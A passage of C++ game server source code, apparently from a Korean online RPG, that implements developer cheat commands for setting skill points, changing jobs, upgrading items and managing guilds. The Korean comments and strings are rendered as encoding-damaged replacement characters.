# else // #if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD)
pTask - > RequestDropItem ( VecList [ j ] . dwUniqueID , * ( m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ) , VecList [ j ] . nItemID , VecList [ j ] . nSeed , 1 , ( short ) ( _rand ( pRoom ) % 360 ) ) ;
# endif // #if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD)
}
}
# endif
}
break ;
case SETCP :
{
# if defined(_GAMESERVER)
if ( tokens . size ( ) < 2 ) return false ;
int nCP = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > GetPlayerActor ( ) - > SetAccumulationCP ( nCP ) ;
# endif
}
break ;
case MAILREMAIN :
{
if ( tokens . size ( ) < 2 ) return false ;
int nHour = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
}
break ;
case FULLFRIEND :
{
WCHAR szTempName [ NAMELENMAX ] ;
TFriendGroup * pGroup = NULL ;
for ( int i = 1 ; i < = 100 ; i + + )
{
if ( i < 10 ) wsprintf ( szTempName , L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 0%d" , i ) ;
else wsprintf ( szTempName , L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> %d" , i ) ;
if ( m_pSession - > GetFriend ( ) - > GetFriendCount ( ) > = FRIEND_MAXCOUNT ) break ;
if ( m_pSession - > GetFriend ( ) - > HasFriend ( szTempName ) = = true ) continue ;
}
}
break ;
case FULLBLOCK :
{
WCHAR szTempName [ NAMELENMAX ] ;
for ( int i = 1 ; i < = 100 ; i + + )
{
if ( i < 10 ) wsprintf ( szTempName , L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 0%d" , i ) ;
else wsprintf ( szTempName , L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> %d" , i ) ;
if ( m_pSession - > GetIsolate ( ) - > IsIsolateItem ( szTempName ) = = true ) continue ;
TFriend * pFriend = m_pSession - > GetFriend ( ) - > GetFriend ( szTempName ) ;
if ( pFriend = = NULL )
{
m_pSession - > GetDBConnection ( ) - > QueryAddIsolate ( m_pSession , szTempName ) ;
}
}
}
break ;
case RELOAD_SCRIPT :
{
# if !defined(_FINAL_BUILD)
# if defined (_WORK) && defined (PRE_ADD_SERVER_LOAD_SHORTENING)
g_ConfigWork . RemoveCommand ( L " ExceptScript " ) ;
# endif // #if defined (_WORK) && defined (PRE_ADD_SERVER_LOAD_SHORTENING)
g_pQuestManager - > LoadAllQuest ( " QuestTable.ext " , g_pNpcQuestScriptManager ) ;
g_pDataManager - > LoadTalkData ( ) ;
g_pNpcQuestScriptManager - > CloseAllState ( ) ;
LoadNpcQuest ( ) ;
g_pDataManager - > LoadNpcData ( ) ; // 2010.11.11 Robust <20> ߰<EFBFBD>
g_pDataManager - > LoadQuestReward ( ) ; // 2010. 11. 25 Robust <20> ߰<EFBFBD>
# if defined(PRE_ADD_REMOTE_QUEST)
g_pDataManager - > LoadRemoteQuestData ( ) ;
# endif
wstring wszString ;
wszString = FormatW ( L " All Script Reloaded " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // _FINAL_BUILD
}
break ;
// <20> <> <EFBFBD> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> AI <20> <> ũ<EFBFBD> <C5A9> Ʈ<EFBFBD> <C6AE> <20> <> <EFBFBD> ε<EFBFBD> <CEB5> Ѵ <EFBFBD> .
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : Robust
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : 2010.11.11
# if defined(_GAMESERVER)
case RELOAD_MONSTER_AI :
{
g_AiScriptLoader . AllLoadScript ( ) ;
}
break ;
# endif // #if defined(_GAMESERVER)
// <20> <> <EFBFBD> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ÷<EFBFBD> <C3B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ͽ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> ġƮ
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD>
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : 2009.10.30
case TRACE :
{
DN_ASSERT ( m_pSession ! = NULL , " CDNCheatCommand::OnCommand() case TRACE: m_pSession != NULL " ) ;
DN_ASSERT ( m_pSession - > GetGMCommand ( ) ! = NULL , " CDNCheatCommand::OnCommand() case TRACE: m_pSession->GetGMCommand() != NULL " ) ;
return m_pSession - > GetGMCommand ( ) - > CmdTrace ( TRACE_CHARACTERNAME , tokens ) ;
}
// <20> <> <EFBFBD> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> GM<47> <4D> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ȯ<EFBFBD> ϴ<EFBFBD> <20> <> <EFBFBD> <EFBFBD>
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD>
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : 2009.11.16
case RECALL :
{
DN_ASSERT ( m_pSession ! = NULL , " CDNCheatCommand::OnCommand() case RECALL: m_pSession != NULL " ) ;
DN_ASSERT ( m_pSession - > GetGMCommand ( ) ! = NULL , " CDNCheatCommand::OnCommand() case TRACE: m_pSession->GetGMCommand() != NULL " ) ;
return m_pSession - > GetGMCommand ( ) - > CmdRecall ( tokens ) ;
}
// <20> <> <EFBFBD> <EFBFBD> : ġƮ<C4A1> <C6AE> Ʈ <20> <> <EFBFBD> <EFBFBD>
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD>
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : 2009.12.01
case CHEATSET :
{
return _bCommandCheatSet ( tokens ) ;
}
case SETSP :
{
if ( tokens . size ( ) < 2 )
return false ;
unsigned short usSkillPoint = ( unsigned short ) _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
_ASSERT ( 0 < = usSkillPoint ) ;
m_pSession - > SetCheatSkillPoint ( usSkillPoint , - 1 ) ;
}
break ;
case SET_USER_JOB :
{
if ( tokens . size ( ) < 2 )
return false ;
DNTableFileFormat * pJobTable = GetDNTable ( CDnTableDB : : TJOB ) ;
// <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ܰ谪<DCB0> <E8B0AA> <20> <> Ʈ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> .
int iNowJob = m_pSession - > GetUserJob ( ) ;
int iNowJobDeep = 0 ;
int iNowRootJob = 0 ;
for ( int i = 0 ; i < pJobTable - > GetItemCount ( ) ; + + i )
{
int iItemID = pJobTable - > GetItemID ( i ) ;
if ( iItemID = = iNowJob )
{
iNowJobDeep = pJobTable - > GetFieldFromLablePtr ( iItemID , " _JobNumber " ) - > GetInteger ( ) ;
iNowRootJob = pJobTable - > GetFieldFromLablePtr ( iItemID , " _BaseClass " ) - > GetInteger ( ) ;
break ;
}
}
int iJobIDToChange = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
// <20> ٲٱ<D9B2> <20> <> <EFBFBD> ϴ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ܰ谡 <20> <> <EFBFBD> ų<EFBFBD> ū<> <C5AB> Ȯ<> <C8AE> .
bool bSuccess = false ;
map < int , int > mapRootJob ;
for ( int i = 0 ; i < pJobTable - > GetItemCount ( ) ; + + i )
{
int iItemID = pJobTable - > GetItemID ( i ) ;
if ( iItemID = = iJobIDToChange )
{
int iJobRootToChange = pJobTable - > GetFieldFromLablePtr ( iItemID , " _BaseClass " ) - > GetInteger ( ) ;
if ( iNowRootJob = = iJobRootToChange )
{
int iJobDeepToChange = pJobTable - > GetFieldFromLablePtr ( iItemID , " _JobNumber " ) - > GetInteger ( ) ;
if ( iNowJobDeep < iJobDeepToChange )
{
// <20> θ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ¾ƾ<C2BE> <20> <> .
int iParentJobID = pJobTable - > GetFieldFromLablePtr ( iItemID , " _ParentJob " ) - > GetInteger ( ) ;
if ( iParentJobID = = iNowJob )
{
m_pSession - > SetUserJob ( iJobIDToChange ) ;
// <20> ѱ<EFBFBD> <D1B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʱ<EFBFBD> ȭ<EFBFBD> <C8AD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> .(#19141)
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> <C5B0> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <20> <> ų <20> ʱ<EFBFBD> ȭ<EFBFBD> <C8AD> <20> <> <EFBFBD> <EFBFBD> <20> ϵ<EFBFBD> <CFB5> <EFBFBD> ȣ <> <C8A3> <EFBFBD> <EFBFBD> <EFBFBD> ش<EFBFBD> .
# ifdef _VILLAGESERVER
for ( int nSkillPage = DualSkill : : Type : : Primary ; nSkillPage < DualSkill : : Type : : MAX ; nSkillPage + + )
m_pSession - > GetSkill ( ) - > ResetSkill ( nSkillPage ) ;
# endif // #ifdef _VILLAGESERVER
bSuccess = true ;
}
else
{
// <20> ٲٰ<D9B2> <D9B0> <EFBFBD> <20> ϴ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> θ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ƴ<EFBFBD> .
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <20> <> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Դϴ<D4B4> .!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
else
{
// <20> ٲٰ<D9B2> <D9B0> <EFBFBD> <EFBFBD> ϴ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Ʒ <EFBFBD> <20> ܰ<EFBFBD> <DCB0> <EFBFBD> . <20> <> <EFBFBD> ٲ<EFBFBD> .
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> ų<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ܰ<EFBFBD> <DCB0> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ٲ<EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> !!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
else
{
// <20> ٲٰ<D9B2> <D9B0> <EFBFBD> <EFBFBD> ϴ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ٸ<EFBFBD> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> . <20> <> <EFBFBD> ٲ<EFBFBD> .
wstring wszString = FormatW ( L " <EFBFBD> ٸ<EFBFBD> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ٲ<EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> !!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
}
if ( false = = bSuccess )
{
wstring wszString = FormatW ( L " <EFBFBD> ߸<EFBFBD> <EFBFBD> <EFBFBD> Job ID <20> Դϴ<D4B4> ..\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
break ;
}
// <20> <> <EFBFBD> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> ( <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> )
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : <20> <> <EFBFBD> <EFBFBD>
// <20> ۼ<EFBFBD> <DBBC> <EFBFBD> : 2009.12.10
case REPAIRALL :
{
# if defined( _VILLAGESERVER )
if ( ! m_pSession - > GetItem ( ) )
return false ;
m_pSession - > GetItem ( ) - > OnRecvRepairAll ( true ) ;
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 밡<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
break ;
}
case BUILDUPALL :
{
if ( tokens . size ( ) < 2 ) return false ;
int nItemLevel = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nItemLevel < = 0 ) nItemLevel = 1 ;
# if defined( _VILLAGESERVER )
if ( ! m_pSession - > GetItem ( ) ) return false ;
m_pSession - > GetItem ( ) - > CheatUpgradeItemLevel ( nItemLevel ) ;
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 밡<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
}
break ;
case POTENTIALALL :
{
if ( tokens . size ( ) < 2 ) return false ;
int nItemPotential = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nItemPotential < = 0 ) nItemPotential = 1 ;
# if defined( _VILLAGESERVER )
if ( ! m_pSession - > GetItem ( ) ) return false ;
m_pSession - > GetItem ( ) - > CheatUpgradeItemPotential ( nItemPotential ) ;
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 밡<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
}
break ;
case GUILD_CREATE : // <20> <> <EFBFBD> <EFBFBD> â<> <C3A2>
{
if ( 2 > tokens . size ( ) ) {
return false ;
}
const std : : wstring aGuildName = tokens [ 1 ] . c_str ( ) ;
if ( aGuildName . empty ( ) | | GUILDNAME_MAX < = aGuildName . size ( ) ) {
return false ;
}
# if defined(_VILLAGESERVER)
// 20100629 <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ۼ<EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ڵ<EFBFBD> <20> <> <EFBFBD> ڴ뿪 Ȯ<> <C8AE> <EFBFBD> ϵ<EFBFBD> <CFB5> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ߰<EFBFBD>
if ( ! g_CountryUnicodeSet . Check ( aGuildName . c_str ( ) ) )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ڰ<EFBFBD> <20> <> <EFBFBD> ԵǾ<D4B5> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> ̹<EFBFBD> <20> <> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
int wGuildRoleAuth [ GUILDROLE_TYPE_CNT ] = { 0 , } ;
g_pGuildManager - > SetAuthBase ( wGuildRoleAuth ) ; // <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> )
m_pSession - > GetDBConnection ( ) - > QueryCreateGuild ( m_pSession - > GetDBThreadID ( ) , m_pSession - > GetAccountDBID ( ) , m_pSession - > GetCharacterDBID ( ) , aGuildName . c_str ( ) , m_pSession - > GetMapIndex ( ) , m_pSession - > GetLevel ( ) , 0 , g_Config . nWorldSetID , wGuildRoleAuth ) ;
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> â<> <C3A2> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> û<EFBFBD> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
}
break ;
case GUILD_DISMISS : // <20> <> <EFBFBD> <EFBFBD> <20> ػ<EFBFBD>
{
if ( 1 > tokens . size ( ) ) {
return false ;
}
# if defined(_VILLAGESERVER)
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
// <20> ̹<EFBFBD> <20> <> ü<EFBFBD> <C3BC> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> üũ
if ( g_pGuildManager - > IsDismissExist ( GuildUID ) ) {
m_pSession - > ResetGuildSelfView ( ) ;
m_pSession - > SendDismissGuild ( m_pSession - > GetSessionID ( ) , ERROR_GUILD_ALREADYDISMISS_GUILD , NULL ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
if ( GUILDROLE_TYPE_MASTER ! = m_pSession - > GetGuildSelfView ( ) . btGuildRole )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> 常 <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
if ( ! pGuild - > GetMemberInfo ( m_pSession - > GetCharacterDBID ( ) ) )
{
wstring wszString = FormatW ( L " <EFBFBD> ش<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
if ( pGuild - > GetMemberCount ( ) > 1 )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
m_pSession - > GetDBConnection ( ) - > QueryDismissGuild ( m_pSession ) ;
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ػ<EFBFBD> <D8BB> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> û<EFBFBD> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# else // #if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif // #if defined( _VILLAGESERVER )
}
break ;
case GUILD_CHANGELEVEL : // <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
{
if ( 2 > tokens . size ( ) ) {
return false ;
}
short aNewGuildLevel = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
{
TGuildLevel * GuildNextLevel = g_pDataManager - > GetGuildLevelData ( aNewGuildLevel ) ;
if ( ! GuildNextLevel )
return false ;
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( FALSE = = pGuild - > IsEnable ( ) ) break ;
# endif
m_pSession - > GetDBConnection ( ) - > QueryModGuildCheat ( m_pSession - > GetDBThreadID ( ) , pGuild - > GetUID ( ) . nWorldID , pGuild - > GetUID ( ) . nDBID , 1 , GuildNextLevel - > nReqGuildPoint , ( char ) aNewGuildLevel ) ;
}
}
break ;
case GUILD_MAKECOIN : // <20> <> <EFBFBD> <EFBFBD> <20> ڱ<EFBFBD> <20> <> <EFBFBD> <EFBFBD>
{
if ( 2 > tokens . size ( ) ) {
return false ;
}
INT64 aNewGuildMoney = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( ! CHECK_LIMIT ( aNewGuildMoney , GUILDMONEY_MAX ) ) {
return false ;
}
# if defined(_VILLAGESERVER)
// <20> ش<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ߰<EFBFBD> <DFB0> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʾ <EFBFBD> ġƮ<C4A1> <C6AE> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> (2009-12-16)
/*
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
if ( ! GuildUID . IsSet ( ) ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡 <20> <> <EFBFBD> Ե<EFBFBD> <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
CDNGuild * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( ! pGuild | | ! pGuild - > Attach ( GuildUID ) ) {
